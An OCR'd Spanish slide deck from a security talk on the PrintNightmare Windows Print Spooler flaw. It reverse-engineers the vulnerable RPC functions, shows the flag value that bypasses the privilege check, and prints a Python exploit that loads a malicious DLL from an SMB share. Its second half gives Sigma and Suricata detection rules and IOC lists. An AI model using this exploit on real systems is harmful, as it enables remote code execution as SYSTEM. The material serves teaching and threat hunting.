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 Jokin @joktotem @totemsecurity
* Freelance en Totem Security

* Pentester y Threat Hunter
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¢ Threat hunting?

YJIIAT IFEIETOLD YOU

THREAT HUNTING IS JUST INCIDENT
| RESPONSE WITHOUT THEINCIDENT _




Printnightmare




Printnightmare

Vulnerabilidad de sistemas Windows
e >=Win7 & WinSrv 2008
e Parcheado

CVE-2021-1675 - local privilege escalation
CVE-2021-34527 - authenticated RCE

Descubierto por
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* Tencent Security Xuanwu Lab (China)
I\ » SangFor (HongKong)
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Servicio vulnerable - PrintSpooler

Processes Semnvices  Network Disk

Mame ’ Display name Type Status Start type PID

=i Spooler Frint Spooler Own interactive process Running Auto start 4283

Processes Services Metwork Disk
Mame PID Command line User name CPU  I/Ototal... Private b.. Description

= cpoolsv.exe 4288 CAWindows\System32\spoolsv.exe MNT AUTHORITY\SYSTEM 564 ME  Spooler SubSystem App
* Seinicia en el boot de sistema

Proceso spoolsv.exe
Corre con el usuario NT AUTHORITY/SYSTEM
Gestiona las tareas de impresion



Interfaces de red

» Spoolsv.exe implementa roles client/server

* El servicio es alcanzable via DCE/RPC puerto 135 MSRPC

PORT STATE SERVICE VERSION
135/tcp open msrpc Microso ft Windows RPC
Service Info: 05: Windows; CPE: cpe:/o:microsoft:windows

* También alcanzable via Web 1IS — IPP & MS-WPRN
* No activado por defecto
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Port 135 MSRPC - DCE/RPC

 MISRPC ofrece endpoint mappers, interfaces de acceso a servicios via RPC
* rpcdump.py @192.168.8.221

Protocol: [MS-RPRN]: Print System Remote Protocol
Provider: spoolsv.exe

i 12345678-1234-ABCD-EF00-0123456789AB v1.0

: [M5-PAR]: Print System Asynchronous Remote Protocol
: spoolsv.exe

: JGFO3F96-CDFD-44FC-A22C-64950A001209 v1.0

Bindings:
ncacn_1p_tcp:192.168.8.221[ 49669 ]
ncalrpc:[LRPC-4cf1odf7d16fa6e269]

ncacn_1ip_tcp:192.168.8.221[49669]

ncalrpc:[LRPC-4cf19df7d1efa6e269]

* En este caso spoolsv.exe esta accesibles en el puerto 49669 usando RPC

Processes Services Network Disk

Name Local address Local port Remote address Remote port Prot... State Owner
= spoolsv.exe (2656) L 49669 TCP6  Listen Spooler
= spoolsv.exe (2656) DESKTOP-0PQEJUA 49669 cp Listen Spooler




Port 135 MSRPC - DCE/RPC

 Wireshark lo identifica como IREMOTEWINSPOOL

% DCE/RPC Endpoint Mapper, Map ¥ DCE/RPC Endpoint Mapper, Map
Operation: Map (3) Operation: Map (3)
Response in frame: 18 [Request in frame: 9]
¥ UWUID pointer: Handle:
Referent ID: @x@ooeooooeocoeenel Num Towers: 1
UUID: 9948caBe-512f-4c58-88a9-61898d6896hd ¥ Tower array:
[ ¥ Tower pointer: Max Count: 4
f Referent ID: 8xB8000500008080082 offset: @
Length: 75 Actual Count: 1
Length: 75 ¥ Tower pointer:
Number of floors: 5 Referent ID: Bx@E0022E822200083
?» Floor 1 WID: IREMOTEWINSPOOL Length: 75
» Floor 2 WID: 32bit NDR Length: 75 ~
/\ » Floor 3 RPC connection-oriented protocol Number of floors: 5
\\J > Floor 4 TCP Port:135 > Floor 1 UUID: IREMOTEWINSPOOL
! \}r 1 > Floor 5 IP:192.168.8.28 » Floor 2 UUID: 32bit NDR
“\ \ Handle: @ » Floor 3 RPC connection-oriented protocol (
Max Towers: 4 > Floor 4 TCP Port:49663 {
/\ \ v u » Floor 5 IP:192.168.8.20 /\




Port 135 MSRPC - DCE/RPC

* Podemos ver las llamadas a funciones ©
* El resto del trafico esta cifrado ®

» Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Regquest, Fragment: Single, Frag
v IRemoteWinspool SubSystem, winspool AsyncAddPrinterDriver

Operation: winspool_AsyncAddPrinterDriver (39)

Encrypted stub data: bZaZeca®c24alafd7b9a74268463704c3d57cablc2c1f7bfce24c0co2f4e761f371dT153..
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Port 445 RPC over SMIB

e MSSRPC es accesible desde SMB
 El trafico va cifrado ®

192.168.8.161 192.168.8.28 5MB2 212 Session Setup Request, NTLMSSP_NEGOTIATE

192.168.8.28 192.168.8.161 SMB2 481 Session Setup Response, Error: STATUS MORE_PROCESSING REQUIRED, NTLMSSP_CHALLENGE
192.168.8.161 192.168.8.28 SMB2 554 Session Setup Request, NTLMSSP_AUTH, User: DESKTOP-JLH30T2\localnightmare2
152.168.8.28 192.168.8.161 5MB2 139 Session Setup Response

152.168.8.161 192.168.8.28 SMB2 228 Encrypted SMB3

192.168.8.28 192.168.8.161 5MB2 198 Encrypted SMB3

———




Funciones vulnerables

Funciones del binario spoolsv.exe

MS-RPRN - RpcAddPrinterDriverEx()

MS-PAR - RpcAsyncAddPrinterDriver()

Permiten cargar un driver de impresora, en local y remoto

Para poder cargar un driver de impresora con estas funciones necesitamos
autenticarnos con una cuenta con privilegios SeLoadDriverPrivilege
(se supone ©)



Requisitos de explotacion

Servicio spooler corriendo

Disponer credenciales de cuenta local o de dominio

Alcanzar puerto MSRPC o SMB

Tener una carpeta compartida en la red LAN, para servir dll maliciosa

Para la funcion RpcAsyncAddPrinterDriver() hay requisitos adicionales



RpcAddPrinterDriver()

 Siseguimos el flujo de la funcién RpcAddPrinterDriver() esta llama a la
funcion SplAddprinterDriverEx() de la dll localspl.dll

__int64 _ fastcall RpcAddPrinterDriverEx(__int64 al, _ int64 a2, unsigned int a3)

6; // ebx
; // [rsp+48h] [rbp+20h] BYREF
Handle(&lpTlsValue) && TlsSetValue(gdwTlsBindingHandle, 1pTlsValue) )

v6 = YAddPrinterDriverEx(al, a2, a3, 1i64);
[1sSetValue(gdwTlsBindingHandle, 0i64);




SplAddprinterDriverEx()

* SplAddprinterDriverEx() recibe como parametro dwFileCopyFlags que es
controlable por el cliente

int64 _ fastcall SplAddPrinterDriverEx(LPCWSTR lpStringl, unsigned int a2, _ int64 a3, unsigned int dwFileCopyFlags,

eax

if ( !(unsigned int)MyName(lpStringl) )

L
if ( WPP_GLOBAL_Control != &WPP_GLOBAL_Control && (*((_BYTE *)WPP_GLOBAL_Control + 68)
{
vll = Get
WPP_SF_
- D *)WPP_GLOBAL_Control + 7),

&

@, @0i64, (__int64)pLocalIniSpooler, 8) )

s, (struct _INISPOOLER *)aS, a6, fChe




———

SplAddprinterDriverEx()

e Linea 21 - fCheckPriv=0

return Inte a2, a3, dwFileCopyFlags, (struct INISPOOLER *)a5, a6,

fCheckPriv, Bis4);




SplAddprinterDriverEx()

* Linea 22 - If bit 15 of dwFileCopyFlags is 1

» dwFileCopyFlags es controlado por el cliente, por lo que podemos conseguir
gue no entre a la linea 23

dwFileCopyFlags = APD_COPY_ALL_FILES (0x4) + APD_COPY_FROM_DIRECTORY(0x10) + APD_INSTALL_WARNED_DRIVER (0x8000) = 0x8014
1000 0000 0001 0100

* Por lo tanto, fCheckPriv="0

———

64, (__ inte4)plLocallniSpooler, @) )




SplAddprinterDriverEx()

* Linea 24 - If fCheckPriv = 0: no se comprueban los privilegios del usuario con
la funcidn ValidateObjectAccess

———
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SplAddprinterDriverEx()

e Linea 26 —llama a la funcidén InternalAddPrinterDriverEx() para cargar el driver
de impresora

st int *)}&dwFileCopyFlags, @xFu) )

unsigned int)ValidateObjec s(@, 1, 8, @i6d4, (_ int64)plLocalIniSpooler, 8} )

}, dwFileCopyFlags, (struct INISPOOLER *)a5, a6,

— L :
= o
=



InternalAddPrinterDriverEx()

La funcion recibe varios parametros, hay 3 relevantes para la explotacion

Driver file - driver de impresora
Data file - dll que cargara el driver
Config file — fichero que contiene el path de la dll a cargar por el driver



InternalAddPrinterDriverEx()

* Driver file — UniDrv.dll driver de impresora universal

* C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_ce3301b66255a0f
b\Amd64\UNIDRV.DLL

e Data file - dll maliciosa servida via SMB
* \\192.168.8.161\smb\dangerous.dll

* Config file - contiene el path de la dll a cargar por el driver
* c:\windows\system32\spool\drivers\x64\3\old\dangerous.dl|



InternalAddPrinterDriverEx()

* La funcion InternalAddPrinterDriverEx() realiza las siguientes acciones

e ValidateDriverinfo

* verifica la firma digital y el tipo de fichero del driver y el data file

* se puede omitir usando el flag APD_INSTALL_WARNED_DRIVER 0x8000 en
dwFileCopyFlags



InternalAddPrinterDriverEx()

* CreatelnternalDriverFileArray

* Si a5 es seteado (podemos controlarlo con las dwFileCopyFlags) se crean los ficheros
(driver file, data file, config file) en la ruta %SPOOLER%\drivers\x64\

* %SPOOLER% = c:\windows\system32\spool\

= (unsigned i Y ([ ) + 3);
it ( ) // RpcAddPrinterDrivertx
// (dwFileCopyFlags & 8x18) == @

{

*( D *)*a3 = GetFileNameInScratchDir(vi4, 1);// FHAEMENIHE, vI4=UNIDRV.DLL

*{( b + 4) = GetFileNameInScratchDir(*({ 1g t ) *5Y. );

= GetFileNameInScratchDir(*(( } + 4}, );

H
else




InternalAddPrinterDriverEx()

* GetPrintDriverVersion
e extrae la versidn del driver, para UNIDRV.DLL solo puede ser la version 3

= SpllsCompatibleDriver( W | ) » ) + 16), , & );

e CheckFilePlatform
* comprueba la plataforma del driver y del data file

* CreateVersionDirectory
* crea el siguiente directorio segun la version del driver %SPOOLER%\drivers\x64\3\



InternalAddPrinterDriverEx()

e CopyFilesToFinalDirectory

» Copia los ficheros (data file, driver file, config file) a la carpeta temporal
%SPOOLER%\drivers\x64\3\new\

* Lasiguiente vez que llamemos a la funcién RpcAddPrinterDriver() se hara un backup de lo
ficheros en %SPOOLER%\drivers\x64\3\old\

* WaitRequiredForDriverUnload or CompleteDriverUpgrade
e Carga el driver
 Eldriver carga la dll a la que apunta la ruta en el config file (suposicion ©)



Explotacion

* Se realiza en dos llamadas a RpcAddPrinterDriverEx()

* El objetivo de la primera es subir el data file al sistema
* La segunda carga el driver que ejecuta la dll maliciosa previamente subida

~~y
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Explotacion - cali1

e Driver file

* C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_ce3301b66255a0f
b\Amd64\UNIDRV.DLL

* Data file
* \\192.168.8.161\smb\dangerous.dll

 Config file
* C:\Windows\System32\winhttp.dll

~—~y
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Explotacion - call2

e Driver file

* C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_ce3301b66255a0f
b\Amd64\UNIDRV.DLL

* Data file
* \\192.168.8.161\smb\dangerous.dll

 Config file
* c:\windows\system32\spool\drivers\x64\3\old\dangerous.dll

~—~y
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Exploit python

def main(dce, pDriverPath, share, handle=NULL):
#build DRIVER_CONTAINER package
container_info = rprn.DRIVER_CONTAINER()
container_info['Level’'] = 2
container_info[ ‘DriverInfo']['tag'] = 2

container_info[ 'DriverInfo']['Level2']['cVersion'] =3
container_info[ 'OriverInfo']['Level2']['pName'] = “1234\xe0"
container_info[ 'DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x8e"

container_info[ 'DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x@e’
container_info[ ‘DriverInfo']['Level2’]['pDataFile’] = "{@}\x088".format (share)

container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\xee"

flags = rprn.APD_COPY_ALL_FILES | @xi1e | exseee
filename = share.split(“\\")[-1]

Iresp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) I
print("[*] Stage®: {@}".format(resp['ErrorCode']))

container_info[ 'DriverInfo’']['Level2’']['pConfigFile’'] = "C:\\Windows\\System32\\kernelbase.dll\xee"
r for i in range(l, 30):
f
try:
container_info[ ‘DriverInfo'][‘'Level2']['pConfigFile'] = “C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{@}\\{1}\x@8".format(i, filename)
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage{@}: {1}".format(i, resp['ErrorCode']))
’, if (resp['ErrorCode’'] == @):
print("[+] Exploit Completed") a
sys.exit() 7
\ except Exception as e:
\J \r = #print(e)
\ pass




DEMO
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o= ¢ Vas a querer o no la
maldita sandia?




Hunting PrintNightmare




WAIT - First SIGMA

UJUST WAIT




SIGMA

* SIGMA - reglas/firma genéricas para analizar logs
0 ) SIGMA

* YARA — Fichero
e SURICATA — Paquete de red
* SIGMA - Log

* Sigmacc — conversor de regla sigma a otros lenguajes o tecnologias
e KQL, Splunk, Qradar
* Powershell, GREP

I\ * CH regex

2
¥
")

\ \
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SIGMA

title: Whoami Execution
id: e2B8a5a%8-dad4-436d-b7al-2afc20a5f413
status: experimental
description: Detects the execution of whoami, which is often used by attackers
author: Florian Roth
date: 2018/08/13
tags:
- attack.discovery
- attack_-tl1033
- car.2016-03-001
logsource:
category: process_preation
product: windows
detection:
selection:
Image: '*‘\whoami.exe'
selection2:
OriginalFileName: 'whoami.exe'

~~y

/ condition: selection or selection2
[ falsepositives: £
NJ - Admin activity
\ \r 5\ — Scripts and administrative tools used in the monitored environment «
NS level: high '\\h /L A\ Q(




Event 316 - driver added/updated

* Channel PrintService-Operational

* Printer driver 1234 for Windows x64 Version-3 was added or updated. Files:-
UNIDRV.DLL, winhttp.dll, dangerous.dll. No user action is required.

Event 316, PrintService

General Details

Printer driver 1234 for Windows x64 Version-3 was added or updated. Files:- UNIDRV.DLL, winhttp.dll, dangerouk.dIl. No user action is required.




Event 316 - driver added/updated

* Podemos saber si se ha anadido un driver de impresora

selection:
EventID: "316"
keywords:
- "added"
- "updated”
condition: selection and keywords
falsepositives:
— Unknown
level: high




Event 316 - driver added/updated

* |0Cs de nombres de driver y de dll utilizados por los exploits y las POCs

logsource:
product: windows
service: printservice-operational
detection:
selection:
EventID: "316&°

selection2:

il 2

- '1234" $exploit cube

- "mimikatz"

- 'legitprinter"

- 'Microsoft Print to RCE"
selection3:

— '"UMIDRV.DLL"

- '"winhttp.dll®

- '"kernelba=ses.d11"

= "ntdll.dI1"

- "mxdwdrv.dll"®

- "MyExploit.dll"

~ "ewil.d1L"

- 'addCube.dll"'

= Arew.dll’

= Arew2odll®

- 'main€4.dll"

- "mimilib.d11"

- "mimispool.dll’

- 'dangerous.dll"
condition: selection and (selection2 or selectioni)




Event 5145 - spoolsv SMB conn

* Channel security — Event 5145 Detailed File Share
* spoolsv.exe realiza conexion a una ruta SMB

Event 5145, Microsoft Windows security auditing.

General  Details

|8 network share object was checked to see whether client can be granted desired access,

Subject:
Security |D: S-1-5-21-1925377592- 1805205613-243922371-1003
Account Name: localnightrmare2
Account Domain: DESKTOP-JLH30T2
Legon 1D: Ox2CT3F30
Metwork Information:
Object Type: File
Source Address: 192.168.8.161
Source Port: 38634

Share Information:

Share Mame: WAIPCS
Share Path:
Relative Target Name: spoolss

Access Request Information:
Access Mask: 03
Accessesn ReadData (or ListDirectory)
WriteData (or AddFile)

Access Check Results:




Event 5145 - spoolsv SMB conn

* Detectar cuando spoolsv.exe realiza conexidon a una ruta SMB

logsource:
product: windows
service: security
detection:

selection:
EventID: "3145°"
ShareNames: "“\\*\IFCS5"
RelativeTargetName: 'spoolss’
AocessMask: "Ox3'
ObjectType: "File"

condition: selection




Sysmon - spoolsv susp dll load

* Podemos ver las dll que carga el proceso spoolsv.exe

Event 7, Sysmon

General  Details

Image loaded:

RuleMame: spoolsv?

UtcTime: 2021-10-16 23:59:35.520

ProcessGuid: {c059bebb-65ae-616b-4933-c80200000000}

Processld: 8592

Image: CAWindows\Systern3d\spoolsv.exe

Imageloaded: CAWindows\5ystemn32\spooldrivers'\x 63 dangerous.dil
FileWersion: -

Description: -

Product: -

Company: -

OrnginalFileMare: -

Hashes: SHA1=7E9BTOCED9B0629C28CEBI008FI7F3684924C8BA MD5=5EAD4
57DeET112C3ET16CFEZEBOFFIF36TE3C

Signed: false

Signature: -

SignatureStafus: Unavailable




Sysmon - spoolsv susp dll load

» Detectar las dll cargadas spoolsv.exe en el path de la explotacion

logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 7
Image|endswith: "spoolsv.exs"
ImageLoaded:
- "C:\\Windows\\System32\\spoolihdrivers\\x64\\3\\*"
- "C:\\Windows\\System32\\spool\\drivers\\xe4\\3\\Newi\ *"
- "C:\\WindowsA\\System32\\spool\\drivers\\ x4\ \3\NO1ld\\*+"
condition: selection
falsepositives:
— Unknown

level: high




Trafico de red - opnum
[ e amess weasez meommsso. 720 winspesl asyncadderinteroriver request |

Frame 14: 710 bytes on wire (5680 bits), 71@ bytes captured (5680 bits) on interface \Device\NPF_{1132EBEB-4597-477D-AEBD-96A3CC@98E3D}, id @
Ethernet II, Src: Micro-St_06:86:2a (30:9¢:23:06:86:2a), Dst: PcsCompu_60:18:ce (08:00:27:60:18:ce)
Internet Protocol Version 4, Src: 192.168.8.158, Dst: 192.168.8.20
Transmission Control Protocol, Src Port: 31252, Dst Port: 49668, Seq: 729, Ack: 331, Len: 656
Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Request, Fragment: Single, FraglLen: 656, Call: 2, Ctx: @
Version: S
Version (minor): @
Packet type: Request (@)
> Packet Flags: @x83
> Data Representation: 10000000 (Order: Little-endian, Char: ASCII, Float: IEEE)
Frag Length: 656
Auth Length: 16
Call ID: 2
Alloc hint: 592
Context ID: @
Opnum: 39
Object UUID: 9948ca8e-512f-4c58-88a9-61@98d6896bd
> Auth Info: NTLMSSP, Packet privacy, AuthContextId(@)
v IRemoteWinspool SubSystem, winspool AsyncAddPrinterDriver
Operation: winspool_ AsyncAddPrinterDriver (39)
Encrypted stub data: b2a2eca9c24alafd7b9a74268463704c3d87c4blc9c1f7bfce24c@c92f4e761f371df153..
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Trafico de red - opnum

* MS-RPRN
* 3.1.4.4.1 RpcAddPrinterDriver (Opnum 9)
* 3.1.4.4.8 RpcAddPrinterDriverEx (Opnum 89)

* MS-PAR
* 3.1.4.2.2 RpcAsyncAddPrinterDriver (Opnum 39)
* 3.1.4.2.7 RpcAsynclnstallPrinterDriverFromPackage (Opnum 62)

~~y
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Suricata IDS/IPS

Hemos dicho...

gue cantes hakuna matata




Trafico de red - Suricata

e alert tcp any any -> any any (msg: "Potential printnightmare - DCERPC
RpcAsyncAddPrinterDriver"; content: "|05 00 00|"; depth: 25; content: " |27
00|"; distance: 18; sid: 10006625; rev: 1;)

* HEX Ox27 -> 39 = RpcAsyncAddPrinterDriver

* Podemos también utilizar la keyword: app-layer-protocol:dcerpc;



Trafico de red - Suricata

* Para asegurar menos falsos positivos, detectar previamente si ha habido una
conexion al endpoint mapper IREMOTEWINSPOOL

e alert tcp any any -> any 135 (msg: "DCERPC IREMOTEWINSPOOL Bind";
content: " |96 3F FO 76 FD CD FC 44 A2 2C 64 95 0A 00 12 09|"; flowbits:
set,spool; sid: 10006624; rev: 3;)

* alert tcp any any -> any any (msg: "Printnightmare"; flowbits: isset,spool;
content: " |05 00 00|"; depth: 25; content: |27 00|"; distance: 18; sid:
10006625; rev: 1;)



:BAD USB?




NO TIME = END




